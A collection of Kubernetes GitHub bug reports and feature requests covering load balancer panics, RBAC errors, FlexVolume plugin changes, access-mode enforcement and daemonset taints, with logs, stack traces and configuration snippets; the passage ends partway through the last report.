<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r \r internal load balancer created and associated with availability set but no target network ip configurations on azure.\r \r    sh\r i0130 13:58:45.590849       1 azure_loadbalancer.go:784  ensure kube-system/nginx-ingress-nginx-ingress-controller : lb k8s191-master-internal  finished\r e0130 13:58:45.591132       1 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:509\r /usr/local/go/src/runtime/panic.go:491\r /usr/local/go/src/runtime/panic.go:63\r /usr/local/go/src/runtime/signal_unix.go:367\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_loadbalancer.go:326\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_loadbalancer.go:113\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:374\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:306\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:249\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:771\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:213\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:217\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:195\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r /usr/local/go/src/runtime/asm_amd64.s:2337\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x1d5772d \r \r goroutine 1461  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x111\r panic 0x40b2e00, 0xa603590 \r \t/usr/local/go/src/runtime/panic.go:491 +0x283\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.  cloud .getserviceloadbalancerstatus 0xc4209a7500, 0xc4221ba780, 0xc424106eb0, 0xc4221ba780, 0xc4240dfa40, 0x6 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_loadbalancer.go:326 +0x30d\r k8s.io/kubernetes/pkg/cloudprovider/providers/azure.  cloud .ensureloadbalancer 0xc4209a7500, 0x7ffd7cb966d5, 0xd, 0xc4221ba780, 0xc4240dfa40, 0x6, 0x8, 0xbe943c652f2276bc, 0x1d10a1ad11, 0xa9f0d40 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/azure/azure_loadbalancer.go:113 +0x2ea\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller .ensureloadbalancer 0xc4213be0e0, 0xc4221ba780, 0xc4221ba780, 0x4961da9, 0x6 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:374 +0xcc\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller .createloadbalancerifneeded 0xc4213be0e0, 0xc42478fcc0, 0x32, 0xc4221ba780, 0xc424705c40, 0xc424705c78, 0x1265492 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:306 +0x20e\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller .processserviceupdate 0xc4213be0e0, 0xc424085d60, 0xc4221ba780, 0xc42478fcc0, 0x32, 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:249 +0xeb\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller .syncservice 0xc4213be0e0, 0xc42478fcc0, 0x32, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:771 +0x3aa\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller .worker.func1 0xc4213be0e0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:213 +0xd9\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller .worker 0xc4213be0e0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:217 +0x2b\r k8s.io/kubernetes/pkg/controller/service.  servicecontroller . k8s.io/kubernetes/pkg/controller/service.worker -fm  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:195 +0x2a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc422ba4170 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x5e\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc422ba4170, 0x3b9aca00, 0x0, 0x1, 0xc420067860 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xbd\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc422ba4170, 0x3b9aca00, 0xc420067860 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d\r created by k8s.io/kubernetes/pkg/controller/service.  servicecontroller .run\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/service/service_controller.go:195 +0x20c\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create kubernetes service of type loadbalancer, annotate with \ service.beta.kubernetes.io/azure-load-balancer-internal=true\ .\r \r \r \r   anything else we need to know?  :\r \r refer https://github.com/azure/acs-engine/issues/2151.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.1\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r kubectl apply -f \ https://cloud.weave.works/k8s/net?k8s-version=$kubever\ \r error from server  forbidden : serviceaccounts \ weave-net\  is forbidden: user \ system:node:devnode2\  cannot get serviceaccounts in the namespace \ kube-system\ : disabled by feature gate tokenrequest\r error from server  forbidden : clusterroles.rbac.authorization.k8s.io \ weave-net\  is forbidden: user \ system:node:devnode2\  cannot get clusterroles.rbac.authorization.k8s.io at the cluster scope\r error from server  forbidden : clusterrolebindings.rbac.authorization.k8s.io \ weave-net\  is forbidden: user \ system:node:devnode2\  cannot get clusterrolebindings.rbac.authorization.k8s.io at the cluster scope\r error from server  forbidden : roles.rbac.authorization.k8s.io \ weave-net\  is forbidden: user \ system:node:devnode2\  cannot get roles.rbac.authorization.k8s.io in the namespace \ kube-system\ \r error from server  forbidden : rolebindings.rbac.authorization.k8s.io \ weave-net\  is forbidden: user \ system:node:devnode2\  cannot get rolebindings.rbac.authorization.k8s.io in the namespace \ kube-system\ \r error from server  forbidden : daemonsets.extensions \ weave-net\  is forbidden: user \ system:node:devnode2\  cannot get daemonsets.extensions in the namespace \ kube-system\ \r \r   what you expected to happen  :\r  pod has to be installed sucessfully\r   how to reproduce it  as minimally and precisely as possible   :\r error from the server\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :kubeadm version: &version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :ubuntu\r - kernel  e.g.  uname -a  :linux devnode2 4.13.0-38-generic  43-ubuntu smp wed mar 14 15:20:44 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

what happened  :\r \r i noticed some surprising behavior of  kubectl auth reconcile , which i'm not sure is intentional, but is very unexpected, in that  kubectl auth reconcile  will auto-create namespaces if it doesn't exist. this behavior does not seem to be documented anywhere.\r \r for example, if i run:\r    \r kubectl auth reconcile --namespace my-namespace -f /tmp/my-role.yaml\r    \r against the following role:\r    \r apiversion: rbac.authorization.k8s.io/v1\r kind: role\r metadata:\r   name: my-role\r rules:\r - apigroups:\r   - \ \ \r   resources:\r   - pod\r   verbs:\r   - list\r    \r \r then the namespace  my-namespace  gets created. this is confirmed when enabling logs in kubectl:\r \r    \r i1118 03:11:38.222982   89185 round_trippers.go:405  get https://redacted/apis/rbac.authorization.k8s.io/v1/namespaces/my-namespace/roles/my-role 404 not found in 32 milliseconds\r i1118 03:11:38.261152   89185 round_trippers.go:405  post https://redacted/api/v1/namespaces 201 created in 37 milliseconds\r i1118 03:11:38.304245   89185 round_trippers.go:405  post https://redacted/apis/rbac.authorization.k8s.io/v1/namespaces/my-namespace/roles 201 created in 40 milliseconds\r role.rbac.authorization.k8s.io/my-role reconciled\r    \r \r   what you expected to happen  :\r \r  kubectl auth reconcile  is described in the cli description as \ preferred to 'apply' for rbac resources so that proper rule coverage checks are done.\ \r \r however, this cannot be used as a drop-in replacement for apply as it requires additional privileges on the client, and the behavior is not symmetrical when the namespaces do not exist. i would expect the command to fail if the namespace does not exist.\r \r in the case of  kubectl apply  you simply get notfound\r    \r $ kubectl apply -f /tmp/my-role.yaml --namespace non-existant-ns\r error from server  notfound : error when creating \ /tmp/bg.yaml\ : namespaces \ non-existant-ns\  not found\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r $ kubectl version --client -o yaml\r clientversion:\r   builddate: 2018-09-28t15:20:58z\r   compiler: gc\r   gitcommit: 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\r   gittreestate: clean\r   gitversion: v1.12.0\r   goversion: go1.11\r   major: \ 1\ \r   minor: \ 12\ \r   platform: darwin/amd64\r    \r \r   \r <!-- do not edit below this line -->\r 

the services endpoint is an outlier and does not support collection delete.  it would be good for part of namespace termination if it did.

kube-up currently deletes the ssl ca key, after kube-up finishes  because it runs easyrsa in a temporary directory .  this will make it impossible to generate more trusted certs in future, for example to rotate the kubelet / kubecfg / master keys.  we also don't have a great way to push a new ca cert right now  it's possible, but i think it would be very tricky .  i think we should probably include the ca key into the master metadata, given that we include some keys that give full permissions anyway.  but we should probably fix this properly in 1.3

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : yes and no, the behavior of the flex volume interface has changed between 1.5 and 1.6 and i'm struggling to understand/change my implementation.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : flex volume, verifycontrollerattachedvolume, isattached, getvolumename \r \r   is this a bug report or feature request?    choose one : bug report / documentation_issue?\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:38:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:38:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r name=\ container linux by coreos\ \r id=coreos\r version=1353.7.0\r version_id=1353.7.0\r build_id=2017-04-26-2154\r pretty_name=\ container linux by coreos 1353.7.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r \r -   kernel    e.g.  uname -a  :\r linux ip-10-20-14-151.eu-west-1.compute.internal 4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r \r -   install tools  :\r custom implementation\r \r   what happened  :\r \r my flex volume, \ bounded-local\ , mounted a local sparse file which can also automatically be bind-mounted to another location to be picked up for log collection by splunk or fluentd etc..  it doesn't need devices and so in the previous working implementation on 1.5 the attach and dettach operations were left \ not supported\  and only init, mount and umount were used.\r \r testing the 1.6 upgrade i have found that my plugin as implemented no longer works and emits this error;\r \r e0516 12:13:26.313138   10531 desired_state_of_world_populator.go:272  failed to add volume \ logging\   specname: \ logging\   for pod \ bfd94f2d-397e-11e7-9952-06d9bc92ad18\  to desiredstateofworld. err=failed to getuniquevolumenamefromspec for volumespec \ logging\  using volume plugin \ zopa.com/bounded-local\  err=failed to getvolumename from volumeplugin for volumespec \ logging\  err=invalid character 'i' looking for beginning of value\r \r this has led me to implement getvolumename and produce a random name  because a unique name is not possible to be derived from the \ json opts\ \r \r ~~~\r getvolumename   {\r   uuid=$ head /dev/urandom | tr -dc a-za-z0-9 | head -c 64 ; echo '' \r \r   log \ {\\\ status\\\ : \\\ success\\\ , \\\ volumename\\\ :\\\ ${uuid}\\\ }\ \r   exit 0\r }\r ~~~\r \r i have also tried implementing stub functions for these plugin hooks that i don't really require: - \r \r ~~~\r attach   {\r   log \ {\\\ status\\\ : \\\ success\\\ , \\\ attached\\\ :true, \\\ device\\\ : \\\ /dev/bounded-local\\\ }\ \r   exit 0\r }\r \r isattached   {\r   log \ {\\\ status\\\ : \\\ success\\\ , \\\ attached\\\ :true}\ \r   exit 0\r }\r \r waitforattach   {\r   log \ {\\\ status\\\ : \\\ success\\\ , \\\ device\\\ : \\\ /dev/bounded-local\\\ }\ \r   exit\r }\r \r detach   {\r   log \ {\\\ status\\\ : \\\ success\\\ }\ \r   exit 0\r }\r ~~~\r \r the full code is here https://github.com/davidmccormick/bounded-local-controller/blob/1.6_upgrades/bounded-local \r \r now i am stuck with this error message:\r \r e0516 11:22:04.276796   23422 nestedpendingoperations.go:262  operation for \ \\\ zopa.com/bounded-local/vjeyexr7d3abk6o5xcobzysqjl9pod7pyiwnhmxatlf6k2p0rxvjgsavmh8fbn44\\\ \  failed. no retries permitted until 2017-05-16 11:22:04.776776935 +0000 utc  durationbeforeretry 500ms . error: volume \ zopa.com/bounded-local/vjeyexr7d3abk6o5xcobzysqjl9pod7pyiwnhmxatlf6k2p0rxvjgsavmh8fbn44\   spec.name: \ logging\   pod \ c319829f-397e-11e7-9952-06d9bc92ad18\   uid: \ c319829f-397e-11e7-9952-06d9bc92ad18\   has not yet been added to the list of volumesinuse in the node's volume status\r \r   what you expected to happen  :\r \r i'm looking for help to implement a simple flexvolume that doesn't really need to do any attaching or dettaching  - just mounts and unmounts.  i'm not sure what i need to do in order to keep the kubelet on the happy path and run my mount and unmount functions.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r add the file /etc/kubernetes/vol-plugins/zopa.com~bounded-local/bounded-local from https://github.com/davidmccormick/bounded-local-controller/blob/1.6_upgrades/bounded-local\r \r run the kubelet with: \r \r ~~~\r  unit \r description=kubernetes kubelet\r requires=pre-kubelet.service\r \r  service \r execstartpre=-/usr/bin/docker stop kubelet\r execstartpre=-/usr/bin/docker rm kubelet\r execstartpre=/usr/bin/docker run --rm \\\r   -v /opt/bin:/hostbin:rw \\\r   gcr.io/google_containers/hyperkube:v1.6.3 \\\r     bash -c \ cp -p /hyperkube /hostbin/kubectl\ \r execstart=/usr/bin/docker run --rm \\\r  --name kubelet \\\r  --volume=/:/rootfs:ro \\\r  --volume=/sys:/sys:ro \\\r  --volume=/dev:/dev \\\r  --volume=/var/lib/docker/:/var/lib/docker:rw \\\r  --volume=/var/lib/kubelet/:/var/lib/kubelet:shared \\\r  --volume=/etc:/etc:rw \\\r  --volume=/var/run:/var/run:rw \\\r  --net=host --pid=host --privileged=true \\\r  gcr.io/google_containers/hyperkube:v1.6.3 \\\r  /hyperkube kubelet \\\r   --node-labels=\ type=worker,ingress=true\  \\\r   --hostname-override=10.20.13.194 \\\r   --register-node=true \\\r   --containerized \\\r   --cgroup-driver=systemd \\\r   --pod-manifest-path=/etc/kubernetes/manifests \\\r   --allow-privileged=true \\\r   --network-plugin=cni \\\r   --cni-conf-dir=/etc/cni/net.d \\\r   --cni-bin-dir=/opt/cni/bin \\\r   --cluster-dns=192.168.0.10 \\\r   --cluster-domain=cluster.local \\\r   --v=256 \\\r   --require-kubeconfig=true \\\r   --kubeconfig=/etc/kubernetes/node-kubeconfig.yaml \\\r   --tls-cert-file=/etc/kubernetes/ssl/kubelet.pem \\\r   --tls-private-key-file=/etc/kubernetes/ssl/kubelet-key.pem \\\r   --volume-plugin-dir=/etc/kubernetes/vol-plugins \\\r   --cloud-config=/etc/kubernetes/cloud_config \\\r   --cloud-provider=aws\r execstop=/usr/bin/docker stop kubelet\r  \r timeoutstartsec=0\r restart=always\r restartsec=10s\r \r  install \r wantedby=multi-user.target\r ~~~\r \r here is a podspec for a test pod which creates a random log file within the flex volume: -\r \r ~~~\r apiversion: v1\r kind: pod\r metadata:\r   name: logging-test1\r   annotations:\r     launched_as: part_of_voltest\r   labels:\r     k8s-app: random_logger\r     voltestpod: \ true\ \r spec:\r   containers:\r   - name: logtest1\r     image: davidmccormick/random_log_generator\r     volumemounts:\r     - name: logging\r       mountpath: /logs\r   volumes:\r   - name: logging\r     flexvolume:\r       driver: zopa.com/bounded-local\r       fstype: ext4\r       options:\r         size: \ 4096\ \r         cleanupdelay: \ 60\ \r         logcollectcopy: \ true\ \r   - name: podinfo\r     downwardapi:\r       items:\r         - path: namespace\r           fieldref:\r             fieldpath: metadata.namespace\r         - path: podname\r           fieldref:\r             fieldpath: metadata.name\r         - path: labels\r           fieldref:\r             fieldpath: metadata.labels\r         - path: annotations\r           fieldref:\r             fieldpath: metadata.annotations\r ~~~\r \r   anything else we need to know  :\r \r i appreciate that flexvolume is in alpha and therefore likely to change often - i'm happy to update as required, but i'm finding it hard from the documentation as it stands to understand how the new functions work and what needs to happen to be \ added to the list of volumesinuse in the node's volume status\ \r \r thanks \r \r \r dave

kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:38:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r name=\ container linux by coreos\ \r id=coreos\r version=1381.1.0\r version_id=1381.1.0\r build_id=2017-04-25-2232\r pretty_name=\ container linux by coreos 1381.1.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r \r - linux server37 4.10.12-coreos  1 smp tue apr 25 22:08:35 utc 2017 x86_64 intel r  xeon r  cpu e5-2650 v2 @ 2.60ghz genuineintel gnu/linux\r \r - hyperkube\r \r access modes for pvc resources does not work as expected, for example if using dynamic provision with rox mode, for glusterfs provisioner it allows perform write operation on volume moreover it can be used as rwx. \r \r \r i expect when using accessmodes it should work properly, at least if i creating ro volume it should be mounted as ro\r \r create pvc with accessmode param as   readonlymany  , then assign it to pod and try to write something, for example touch <path/to/mount>/test, you should be able to write file in \ readonly\  filesystem\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r if i enabled rescheduler, then the rescheduler will add  criticaladdonsonly  taint to node when selecting a node for critical pod. \r \r this will cause some daemonset pods got evicted if those daemonset do not have such tolerations. \r \r   what you expected to happen  :\r add  criticaladdonsonly  to daemonset by default just like what we did for  taintnodenotready and taintnodeunreachable  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/daemon/daemoncontroller.go l1083-l1101 \r \r cc @gmarek \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

 @kubernetes/sig-auth\r   what happened  :\r thirdpartyresource defines new kind networks.kuberbetes.com, i modify cluster roles\r to allow system:nodes group to access it:\r \r    - apigroups:\r  - \ extensions\ \r   resources:\r   - networks.kubernetes.com\r   verbs:\r   - create\r   - delete\r   - get\r   - list\r   - watch\r   - patch\r   - update\r \r and in cluster role bindings\r \r subjects:\r - kind: group\r   name: system:nodes\r    \r   what you expected to happen  :\r i am expecting to be able to list it with system:node:{node name} but instead i get forbidden.\r \r kubectl get networks --as-group=system:nodes --as=system:node:sbezverk-srv-10.sbezverk.cisco.com\r error from server  forbidden : user \ system:node:sbezverk-srv-10.sbezverk.cisco.com\  cannot list networkses.kubernetes.com in the namespace \ default\ .  get networkses.kubernetes.com \r \r if i run command with regular user admin, it works fine.\r    \r kubectl get networks\r name           kind                         args                                               plugin\r flannel-conf   networks.v1.kubernetes.com     { \ delegate\ : { \ isdefaultgateway\ : true } }     flannel\r    \r   how to reproduce it  as minimally and precisely as possible   :\r \r create new thridpartyresource and try to access it with system:node:{node-name} account\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.0\r - cloud provider or hardware configuration  : baremetal, cluster bootstrapped with kubeadm\r - os  e.g. from /etc/os-release : centos 7.3\r - kernel  e.g.  uname -a  : 3.10.0-514.26.1.el7.x86_64\r - install tools: kubeadm init\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r when i create service having load balancer , it adds all the nodes in to load balancer .\r \r   what you expected to happen  :\r i want to add specific node to load balancer. however , it adds all the nodes from cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create 3 nodes, and create service having load balancer\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.4\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : linux\r - kernel  e.g.  uname -a  :darwin kernel version 17.3.0: thu nov  9 18:09:22 pst 2017; root:xnu-4570.31.3~1/release_x86_64 x86_64\r - install tools:\r - others:\r \r   \r   \r   \r   \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r currently, if a pod requests a volume as read only mode, we will mount according device only, without format it. so if the volume was unformatted, the device mount operation will fail and return a verbose and obscure error messages. this message will appear in the events of according  pod .\r \r   what you expected to happen  :\r \r for read only volume, if the device mount operation failed, we should check if it has been formatted or not, if not, we return a more human readable message, otherwise we return the mount operation error itself.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a new volume such as  ceph rbd   manually or by dynamic provisioning\r 2. submit a  pod  with this volume in its  spec , and set the  spec.volumes.readonly  field to  true \r 3. then the device mount operation will fail as this newly created volume hasn't been formatted yet.\r \r \r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r hey , i am setting up a cluster for an api service which is supposed to return error 404 and say cannot get, but when i try to expose it using ingress, its failing health checks saying something like backend instances are unhealthy . \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: basic\r spec:\r   backend:\r     servicename: cm-web\r     serviceport: 80\r \r i exposed it using node-port\r apiversion: v1\r kind: service\r metadata:\r   name: cm-web\r spec:\r   selector:\r     app: web\r   ports:\r     - name: http\r       protocol: tcp\r       port: 80\r       targetport: 8080\r   type: nodeport\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report  :\r kind bug\r \r   what happened  :\r kubectl delete defaults to blocking behavior. \r \r   what you expected to happen  :\r the default should be false, to maintain consistent behavior\r \r   how to reproduce it  as minimally and precisely as possible   :\r run a scale test, run delete, go bake 175,000 cakes... \r \r   anything else we need to know?  :\r original pr stated to default to false. \r \r /assign @kubernetes/sig-cli-bugs @deads2k \r /cc @skriss

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r    \r every 2.0s: kubectl get po -o wide                                                                                                                                                  fri oct 12 11:59:02 2018\r \r name                     ready     status    restarts   age\t  ip            node        nominated node\r httpd-7fdc6565b4-6r9s9   1/1\t   running   0          19m\t  10.244.2.85   k8s-node2   <none>\r httpd-7fdc6565b4-79w4h   1/1\t   running   0          19m\t  10.244.2.86   k8s-node2   <none>\r httpd-7fdc6565b4-7wt7t   1/1\t   running   0          17m\t  10.244.2.88   k8s-node2   <none>\r httpd-7fdc6565b4-nzch5   1/1\t   running   0          17m\t  10.244.2.87   k8s-node2   <none>\r httpd-7fdc6565b4-wz8zh   1/1\t   running   0          22m\t  10.244.2.83   k8s-node2   <none>\r httpd-7fdc6565b4-zlpzf   1/1\t   running   0          22m\t  10.244.2.84   k8s-node2   <none>\r    \r \r   what you expected to happen  :\r 